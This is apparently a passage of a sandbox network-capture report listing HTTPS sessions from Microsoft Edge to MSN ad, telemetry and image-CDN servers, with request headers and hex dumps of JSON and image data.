GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.8	49814	23.101.168.44	443	6736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:55:55 UTC	1068	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=31AC35F41F35674A28F120B11E576675&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-5438092865908489856&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=90d4ced1f7234c9da57ea38fff7efd13 HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=31AC35F41F35674A28F120B11E576675; _EDGE_S=F=1&SID=39D93DE14BE469CC015128A44A3A6842; _EDGE_V=1
2024-11-28 07:55:55 UTC	674	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 297 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"2,,"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Thu, 28 Nov 2024 07:55:54 GMT Connection: close
2024-11-28 07:55:55 UTC	297	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 38 38 30 30 30 33 30 38 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 7d 2c 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 31 30 38 33 37 33 39 33 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"placement":"88000308","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}]},{"placement":"10837393","errors":[{"code":2040,"msg":"Demand source returns error (Name: G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.8	49811	51.104.15.252	443	6736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:55:55 UTC	1082	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732780552188&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 3782 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=31AC35F41F35674A28F120B11E576675; _EDGE_S=F=1&SID=39D93DE14BE469CC015128A44A3A6842; _EDGE_V=1
2024-11-28 07:55:55 UTC	3782	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 50 61 67 65 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 38 54 30 37 3a 35 35 3a 35 32 2e 31 38 33 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 65 35 66 37 37 33 35 62 2d 33 61 34 36 2d 34 61 32 31 2d 39 37 39 36 2d 35 33 30 36 66 34 31 63 39 65 37 36 22 2c 22 65 70 6f 63 68 22 3a 22 31 32 34 35 31 35 30 31 33 32 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.PageView","time":"2024-11-28T07:55:52.183Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":1,"installId":"e5f7735b-3a46-4a21-9796-5306f41c9e76","epoch":"1245150132"},"app":{"locale
2024-11-28 07:55:55 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=0d4681b854be4d6fb4231aff22d3ca4e&HASH=0d46&LV=202411&V=4&LU=1732780555630; Domain=.microsoft.com; Expires=Fri, 28 Nov 2025 07:55:55 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=00acc3b8b46b4628b1fcded805d82a8a; Domain=.microsoft.com; Expires=Thu, 28 Nov 2024 08:25:55 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3442 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Thu, 28 Nov 2024 07:55:55 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.8	49819	23.44.129.36	443	6736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:55:55 UTC	634	OUT	GET /tenant/amp/entityid/BB1msDBP.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 07:55:56 UTC	519	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msDBP Last-Modified: Wed, 20 Nov 2024 15:58:39 GMT X-Source-Length: 59155 X-Datacenter: eastus X-ActivityId: 95d59d89-9e78-4fb4-b5cb-b42dc811ee6a Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 59155 Cache-Control: public, max-age=158587 Expires: Sat, 30 Nov 2024 03:59:02 GMT Date: Thu, 28 Nov 2024 07:55:55 GMT Connection: close
2024-11-28 07:55:56 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-28 07:55:56 UTC	16384	IN	Data Raw: 40 c1 9d a0 da 00 d4 26 32 c8 84 1b 03 01 50 d3 b8 4a 59 c9 cf ab 29 a6 9e 07 ad e5 79 ba 73 52 c4 f1 5d 06 d9 59 b5 65 39 46 3b 9b 71 9c 79 b7 db dd 9c 27 c9 f4 29 1c e2 72 9c ed 39 89 26 76 13 93 cc cf 09 c6 6a 5e 9e 39 46 51 70 d0 22 04 c9 a9 a4 82 90 4a 34 92 44 90 08 da c8 51 9c 92 40 34 da 41 24 69 24 d1 f8 20 dd 04 bd 90 02 11 04 5d db c6 49 55 14 d7 7a 4c a9 5f 27 94 ee 50 5d 26 82 b1 cf 2c 79 4c a3 2c 31 9e 71 0e 3d 7d 9d a2 96 9f 1c 0e 6e 67 21 98 be c7 d1 f2 3d 58 53 37 8f 51 9c 79 b0 cb d3 e1 2f 07 5f 2a d5 e8 a7 57 2e 96 83 e8 ae 9a 6a bd 26 61 57 29 91 5d f4 25 c0 e9 c7 d6 71 89 f9 39 f2 f4 77 ca 61 cf 75 08 d8 92 2c 97 4c ec d2 2b 04 92 46 56 90 2d 90 a0 c8 11 6c 85 21 a4 13 0c 0f a2 0d 00 20 94 22 30 b6 20 ca c5 0a 11 40 ac 04 81 81 05 13 Data Ascii: @&2PJY)ysR]Ye9F;qy')r9&vj^9FQp"J4DQ@4A$i$ ]IUzL_'P]&,yL,1q=}ng!=XS7Qy/_*W.j&aW)]%q9wau,L+FV-l! "0 @
2024-11-28 07:55:56 UTC	2474	IN	Data Raw: 90 1a 85 31 8d 7e 02 d9 d7 c0 de 09 64 5a 8f 4a bd 91 6c eb e0 5a 81 7c aa f6 95 fa 57 43 1e a9 3d 30 af 67 bf d8 57 45 ea 0d de 66 52 fb a9 33 79 f9 2b 4b 7d 03 bc ff 00 6c a7 f4 f1 82 58 c7 a6 7a 09 63 c7 83 92 3e 6b 2f 45 35 3e a4 23 e6 f6 51 ee 5c 63 bb 3f 0a 75 6d f1 6b e9 f7 f5 0c b2 bb e4 a8 f9 ca f4 53 4a e8 9f 89 93 e6 b3 bf 54 70 48 af 0f 73 cb dd 3e 26 df 9b a6 b2 87 f4 8e 2b cf cd 7f f6 56 64 eb ad df 5d 4f a5 8f c1 cf f7 47 e4 bc 5c 78 3d 05 84 af 69 0b 39 54 df 5d 1f 89 1e 78 90 57 81 c7 29 f6 4f 8b ff 00 18 77 bd 7e 5d 7f d9 4f 44 b1 7f bb e5 d6 96 fa 3c 4e 13 41 82 bc 0c 78 e4 5e 2e 5c 21 d8 7c f6 56 8a 2a 7d 48 cd f3 fb 32 d7 4b 39 90 c9 0f 61 51 b3 87 04 f8 b9 f1 85 d7 cf 66 e8 54 ae 89 ef 31 7c ce 6d 57 d4 fb bb 8a f6 49 05 e8 c2 3b 42 Data Ascii: 1~dZJlZ\|WC=0gWEfR3y+K}lXzc>k/E5>#Q\c?umkSJTpHs>&+Vd]OG\x=i9T]xW)Ow~]OD<NAx^.\!\|V*}H2K9aQfT1\|mWI;B
2024-11-28 07:55:56 UTC	16384	IN	Data Raw: 45 d7 53 ba d3 47 a7 b2 9b cb a6 30 74 da a9 68 6e 04 97 15 d7 a5 e0 9f e8 5b f4 29 1f 8b e4 5e 17 9b ce 59 cd a5 b5 65 a6 aa 9a 52 4f ca b4 d9 4a 56 3f 99 8b 0d 25 14 b5 67 1a 14 4c 36 f1 94 b6 cd d5 b8 47 a4 b1 fe 9d 1b fc ff 00 99 e9 de d3 d0 ee 32 69 35 99 53 5e 5a 5a 54 53 a1 3d af 77 b0 fc 58 2f 0a 5e 7e ca 52 94 45 15 26 a3 cd 66 97 7e c4 da 7a 26 56 83 2a a8 a5 d3 5e c9 d1 e6 99 d2 b4 55 17 b5 4a 58 69 3d 25 59 58 a5 52 4d a4 9d 72 a6 9a 14 df 45 3b 78 19 3c 8a 6a b4 a3 e9 a6 d5 2e fa aa 9d 3b 12 db 10 54 6e 42 67 6e 5c 0a f2 a1 d7 57 95 fa 74 d3 42 fd 34 a7 85 b6 f6 6c 6b 15 a4 ad 57 2e a8 84 e6 28 6a db 8f 36 64 e2 9d 2b f4 7e 66 e0 f4 9f db d0 ea c9 69 45 ba 21 2c 5a a5 3e 9c 56 dc 4c 17 2a 92 9c 70 9c a6 e7 ea a5 e8 4d e0 96 e9 65 c6 e7 9a 27 Data Ascii: ESG0thn[)^YeROJV?%gL6G2i5S^ZZTS=wX/^~RE&f~z&V^UJXi=%YXRMrE;x<j.;TnBgn\WtB4lkW.(j6d+~fiE!,Z>VLpMe'
2024-11-28 07:55:56 UTC	8048	IN	Data Raw: 3e f7 2d 77 22 7b ef 78 2e 80 24 f7 8d 97 75 e9 11 2c 1a c6 a7 53 e9 a7 72 6a 3b 99 a5 fb f8 79 69 0f be ea 70 5d 2c 0c 8a 56 9e 3b c1 76 2f c2 07 e1 87 f4 f8 b2 6b fa 9f 80 8e c9 1a 2f 6f 42 23 a1 2d 38 ec 89 eb 1f 87 5b f9 13 09 6a 5a 51 fc d5 3d 88 46 0e 62 3c b3 84 bf 82 f8 8d 8a fb 5c ee 8c 10 9e db af 6c 31 2e fc 76 b1 1b 59 57 6e 6d ee f1 63 6d d0 e1 5f a1 6f 7a 38 23 3b 55 60 94 60 e2 62 f1 eb aa cc 53 18 af 35 6f 0b b4 10 a8 68 9f cb f2 d2 af 7e 03 a6 9d 9c 36 c2 d2 f7 bd c6 3a 54 4a 4f 19 77 7c df 70 ea 1c ec d3 c1 68 e9 25 4d d3 bb 4c cb 5b e3 e0 b4 6d 61 4e 16 db 92 df 56 96 64 aa d3 76 df cb 4f e9 5b c6 98 5e c9 6b df a4 93 6d b7 4e 2a 5e d7 b1 07 ab 6e ef d9 7b 99 dd 3f 97 bd e8 1b 6a e3 d7 b7 82 d0 49 9f 86 cc 37 6f 7b d8 dd da 38 6b 7b 11 Data Ascii: >-w"{x.$u,Srj;yip],V;v/k/oB#-8[jZQ=Fb<\l1.vYWnmcm_oz8#;U``bS5oh~6:TJOw\|ph%ML[maNVdvO[^kmN*^n{?jI7o{8k{

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.8	49817	23.44.129.36	443	6736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:55:55 UTC	634	OUT	GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 07:55:55 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA13Q6AL Last-Modified: Sat, 23 Nov 2024 13:20:48 GMT X-Source-Length: 1658 X-Datacenter: westus X-ActivityId: 4d48a1b6-f53b-4e77-9d86-8bdbb1376117 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 1658 Cache-Control: public, max-age=408372 Expires: Tue, 03 Dec 2024 01:22:07 GMT Date: Thu, 28 Nov 2024 07:55:55 GMT Connection: close
2024-11-28 07:55:55 UTC	1658	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 06 2f 49 44 41 54 58 c3 d5 57 7d 6c 14 45 14 7f 33 b3 bb 77 d7 2b a5 e5 a3 48 a9 7c c4 10 82 44 12 25 d8 18 4d 8a 5a 35 11 49 0d d2 26 fc 51 03 c6 04 c3 57 03 25 a0 50 b0 11 21 d4 a4 26 02 51 f0 0b 22 06 12 30 a6 84 18 48 8a 5a 08 22 88 c4 80 80 f6 0f 3e 5a 01 11 90 c2 41 da bb 9d dd 19 df cc ee 6d f7 bc 83 16 89 31 ee e5 dd 9b 9d db 9d df ef fd de bc b7 7b 00 ff f1 41 ee f6 86 8d 0d 17 f3 be ed 3c bf 2d 61 d1 32 37 6a 15 09 d3 e0 c4 20 27 a4 41 b7 44 fb f7 db b4 6b 56 49 d7 bf 42 a0 a1 41 d2 a1 a2 e3 a5 7d 7f b6 6f 3a 2f ec b8 99 df 1f 68 3c 0f 88 45 01 0c 0a 04 4d 32 72 81 30 da 50 50 3c 6a d3 8e Data Ascii: PNGIHDR szzbKGD/IDATXW}lE3w+H\|D%MZ5I&QW%P!&Q"0HZ">ZAm1{A<-a27j 'ADkVIBA}o:/h<EM2r0PP<j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.8	49816	23.44.129.36	443	6736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:55:55 UTC	633	OUT	GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 07:55:55 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Mon, 11 Nov 2024 13:51:58 GMT X-Datacenter: northeu X-ActivityId: 03b090a8-ff0d-477a-9433-19affde5f1c7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAc9vHK X-Source-Length: 1218 Content-Length: 1218 Cache-Control: public, max-age=151208 Expires: Sat, 30 Nov 2024 01:56:03 GMT Date: Thu, 28 Nov 2024 07:55:55 GMT Connection: close
2024-11-28 07:55:55 UTC	1218	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 71 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 31 34 20 37 39 2e 31 35 31 34 38 31 2c 20 32 30 31 33 2f 30 33 2f 31 33 2d 31 32 3a 30 39 3a 31 35 20 20 Data Ascii: PNGIHDR szztEXtSoftwareAdobe ImageReadyqe<qiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.8	49820	23.44.129.36	443	6736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:55:55 UTC	634	OUT	GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 07:55:55 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1lFz6G Last-Modified: Sat, 23 Nov 2024 18:14:45 GMT X-Source-Length: 5699 X-Datacenter: eastus X-ActivityId: 5c4ddcbc-0d99-4ea0-a3c4-13e18d04c61f Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 5699 Cache-Control: public, max-age=425879 Expires: Tue, 03 Dec 2024 06:13:54 GMT Date: Thu, 28 Nov 2024 07:55:55 GMT Connection: close
2024-11-28 07:55:55 UTC	5699	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 84 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 05 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 4a 01 1b 00 05 00 00 00 01 00 00 00 52 01 28 00 03 00 00 00 01 00 02 00 00 87 69 00 04 00 00 00 01 00 00 00 5a 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 00 32 a0 03 00 04 00 00 00 01 00 00 00 32 00 00 00 00 86 f1 c2 a8 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 Data Ascii: PNGIHDR22?gAMAa cHRMz&u0`:pQ<eXIfMM*JR(iZHH22pHYs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.8	49821	23.44.129.36	443	6736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:55:55 UTC	634	OUT	GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 07:55:55 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sun, 17 Nov 2024 01:27:48 GMT X-Datacenter: eastus X-ActivityId: 4e8f5161-6e89-49b3-b675-e3ba25e83bf7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1hk7Sh X-Source-Length: 6962 Content-Length: 6962 Cache-Control: public, max-age=235979 Expires: Sun, 01 Dec 2024 01:28:54 GMT Date: Thu, 28 Nov 2024 07:55:55 GMT Connection: close
2024-11-28 07:55:55 UTC	6962	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 0c 3f 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 90 84 12 40 40 4a e8 4d 10 a9 01 a4 84 d0 42 ef 08 36 42 12 20 94 18 03 41 c5 8e 2e 2a b8 76 b1 80 0d 5d 15 51 b0 02 62 47 ec 2c 8a bd 2f 16 54 94 75 b1 60 57 de a4 80 ae fb ca f7 e6 fb e6 ce 7f ff 39 f3 9f 33 e7 ce dc 7b 07 00 8d e3 3c 89 24 0f d5 04 20 5f 5c 28 8d 0f 0d 64 8e 4a 4d 63 92 9e 02 0c d0 01 15 38 01 4b 1e bf 40 c2 8e 8d 8d 04 b0 0c b4 7f 2f ef ae 03 44 de 5e 71 94 6b fd b3 ff bf 16 2d 81 b0 80 0f 00 12 0b 71 86 a0 80 9f 0f f1 7e 00 f0 2a be 44 5a 08 00 51 ce 5b 4c 2a 94 c8 31 ac 40 47 0a 03 84 78 be 1c 67 29 71 95 1c 67 28 f1 6e 85 4d 62 3c 07 Data Ascii: PNGIHDR22??iCCPICC ProfileHWXS[@@JMB6B A.v]QbG,/Tu`W93{<$ _\(dJMc8K@/D^qk-q~DZQ[L*1@Gxg)qg(nMb<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.8	49818	23.44.129.36	443	6736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
